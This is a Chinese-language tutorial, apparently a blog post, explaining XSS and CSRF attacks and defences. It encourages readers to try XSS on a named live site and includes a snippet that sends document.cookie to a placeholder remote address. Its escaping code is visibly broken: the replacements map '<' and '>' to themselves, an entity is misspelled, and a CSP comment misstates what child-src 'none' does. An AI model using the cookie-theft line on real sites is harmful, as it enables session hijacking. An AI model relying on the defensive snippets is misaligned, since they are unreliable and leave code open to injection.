当完成最基本的前后端交互,你会不会对网站的安全性有所担心?接下来我们就认识一下最基本的前端安全问题。
感谢b站前端大佬鱼皮的前端安全学习网站测试鸭测试鸭 - 助你成为面试达人 (mianshiya.com),你可以任意的通过下面知识“攻击”他的网站,真正体会到前端安全的重要性。
跨站脚本攻击(Cross Site Scripting)
攻击者想办法将可执行的代码注入到我们的页面中
例如:我们想要根据返回的数据渲染content,而攻击者就将content的内容替换成了一段script脚本,浏览器就会执行它。
攻击者可以通过脚本获取页面数据、获取Cookies、劫持前端逻辑、发送请求等
在测试鸭中,我们可以在input框中输入一段脚本
点击搜索,我们会发现,网站"执行了"我们的脚本,这样我们就实现了最简单的xss攻击。如果我们将alert(1)
替换成一段远程的脚本。脚本中创建一个图片,图片中创建一个img,在img的src中将请求地址改为自己的脚本,并附带当前网站的cookie,就可以拿到cookie了。
var img = document.createElement('img')
img.src = '个人远程脚本地址?yourCookie=encodeURIComponents(document.cookie)'
或者我们在测试鸭简答题的评论区中注入一段脚本
这段脚本就会被存储在数据库中,只要有用户查看这个界面就会触发这段脚本
XSS攻击方式有两种
XSS攻击注入点:HTML节点内容、HTML属性、JS代码、富文本
设置开启X-XSS-Protection
(浏览器默认开启)
他的防御内容非常有限,只能防御参数出现在HTML内容或属性的注入
<>
(HTML节点内容防御)在显示html内容时将<>
全局转义为<
和>
str = str.replace(/</g,'<')
str = str.replace(/>/g,'>')
"
和'
和空格(HTML属性防御)在设置html属性的时候将"
、'
和空格都转义成字符编码
str = str.replace(/"/g,'&quto;')
str = str.replace(/'/g,''')
str = str.replace(/ /g,' ')
"
和\
或JSON.stringify(JS代码防御)js中的转义和html中的不同
str = str.replace(/\\/g,'\\\\')
str = str.replace(/"/g,'\\"')
在上面的内容中我们要考虑的因素还有很多,因此建议直接转为JSON
// 比如js可能被注入到form中
// 在发起请求时可以这样处理
formForJS: JSON.stringify(query.form)
因为富文本必须要渲染html格式,所以我们不能使用上面的方法,只能单独过滤数据
使用正则过滤
综上所述:解决方法主要都是转义字符&<>"'/
不要信任innerHTML、document.write()、eval,这些都容易收到XSS攻击
内容安全策略:用于指定哪些内容可执行
主要为http的头来规定限制来源
Content-Security-Policy: default-src 'self' // 必须同源
Content-Security-Policy: img-src https: // 只允许加载https协议图片
Content-Security-Policy: child-src 'none' // 允许加载任何来源框架
这是一种较为便捷的防XSS攻击方式
跨站请求伪造(Cross Site Request Forgy)
XSS一般是本网站了运行了其他网站的脚本,SCRF则是其他网站对本网站产生了影响(从其他网站对本网站发起请求)
从上面的原理不难看出,CSRF的危害就是可以操控你的账户做任何事情。更为严重的后果可能是,攻击者用你的账户再次发布了链接,其他用户一旦点开,就会继续中招,形成CSRF蠕虫,不断传播。
对Cookies设置SameSite属性,之后第三方网站就拿不到cookies了
每次涉及到重要操作都要使用验证码
相对来说token的用户体验会更好,将token存在我们自己的网页中,只有通过自己的网页发起的请求才能携带token,而只有携带token的请求后端才会响应。因为CSRF不会访问我们的页面,拿不到token,因此实现了防御。
referer是http的一个请求头,包含发起网站的地址
我们可以验证发起的请求是否是我们自己页面产生的
用户ID:从后端获取用户ID保存到cookie;弊端:直接修改cookie的用户ID就能实现登录其他用户。
用户ID+签名:后端返回用户ID上+签名,现在就算你修改了用户ID,但是签名对不上,就无法进行操作。
SessionId:后端返回的只是一个SessionId,前端只保存这个id到Cookies中,SessionId是一串随机的钥匙,不包含任何用户信息,只有将SessionId传到后端,后端才会获取到对应用户数据。